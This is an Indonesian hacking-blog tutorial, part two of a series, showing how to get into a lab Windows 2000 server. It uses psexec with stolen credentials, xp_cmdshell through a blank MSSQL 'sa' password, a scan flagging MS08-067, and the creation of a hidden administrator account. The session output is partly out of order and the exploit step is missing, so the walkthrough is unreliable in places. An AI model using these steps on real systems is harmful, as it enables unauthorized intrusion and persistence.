Ok, dari pembahasan [partx1] kita telah mendapatkan 2 account yang credensial untuk diserang ( jika ingin mengetahui bagaimana mendapatkan account, silahkan baca yang [partx1]) kita memilih "epp" yang mengunakan password "password. gunakan psexec (Pstool dari sysinternals) untuk perintah spawn shell dari kita.
code:
Sysinternals - www.sysinternals.com
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.80.129
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.80.2
C:\WINNT\system32>net user
User accounts for \\SERVER
------------------------------------------------------------------------------
Administrator backup epp
epp_contractor Guest IUSR_SERVER
IWAM_SERVER Jim John
mary molly TsInternetUser
The command completed successfully.
[End Result]----------------------
dari hasil tersebut, kita bisa melakukan perintah spawn shell dengan
akses epp (administrators) kemudian kita bisa melakukan sesuka hati kita
kita juga dapat melihad bahwa sang target menggunakan MSSQL 2000, kita
berharap sang administrator menggunakan default username/password di
MSSQL 2000 ( SA/password kosong).
jadi kitya menggunakan xp_cmdshell untuk perintah spawnnya, disini
attacker dapat menngunakan 'osql' untuk mendapatkan shell dari target
code:
C:\>osql -S 192.168.80.129 -U sa -P "" -Q "exec om..xp_cmdshell 'net user' "
output
------------------------------------------------------------------------------
-----------------------------------------------------------------------
-----------------------------------------------------------------------
--------------------------------
-----------------------------------------------------------------------------
Administrator backup cwh
epp epp_contractor Guest
IUSR_SERVER IWAM_SERVER Jim
John mary molly
TsInternetUser
or more errors.
NULL
NULL
[End Result]---------------------------------------------
note: nmap-script memiliki "ms-sql-info.nse" untuk menscan sebuah mesin target menggunakan 'sa' dengan password kosong juga.
code:
[Nmap Result]-----------------------------------------------------------------------------------
bt nmap-4.85BETA10 # nmap --script=smb-check-vulns 192.168.80.129
Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:35 GMT
Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.
set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
Interesting ports on 192.168.80.129:
Not shown: 990 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1433/tcp open ms-sql-s
3372/tcp open msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
|_ Conficker: Likely CLEAN
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
[End Result]---------------------------------------
dari hasil scanning, ternyata target memiliki MS08-067 vulnerability, oleh karena itu kita bisa menngunakan
exploits yang telah tersedia di metasploit framework
code:
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.80.129
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.80.2
C:\WINNT\system32>net user cwh 1234 /add
net user cwh 1234 /add
The command completed successfully.
C:\WINNT\system32>net localgroup administrators cwh /add
net localgroup administrators cwh /add
The command completed successfully.
C:\WINNT\system32>net user
net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator backup cwh
epp epp_contractor Guest
IUSR_SERVER IWAM_SERVER Jim
John mary molly
TsInternetUser
The command completed with one or more errors.
[End Msf]------------------------------------------
ok misi selesai, kita telah mendapatkan akses ke target.
nanti kita akan bersambung ke partx3 ok
special thanks : mywisdom,gunslinger_,flyff666,whitehat,petimati,
cybermuttaqien,bumble_bee,cruz3n,jaqk,shamus,spyki t
v3n0m and you !!!
special community greetz : Devilzc0de crews, jasakom, antijasakom,
hackforum,goldhaxors,darkc0de, codecall, ycl dan all community.
Learn at least one new[programming] language every year. Different
languages solves the same problems in different ways. By learning
different approaches, you can help broaden your thinking and avoid
getting stuck in a rut
[art of windows attack :: 2]
author : kiddies A.k.A peneter
email : -
blog :
http://devilz-kiddies.blogspot.com
http://kiddiescode.wordpress.com
[partx1] scan dan userenum <== telah dibahas [art of windows attack :: 1]
[partx2] mendapatkan akses
[partx3] pWn,pWn!!!!
0 komentar:
Posting Komentar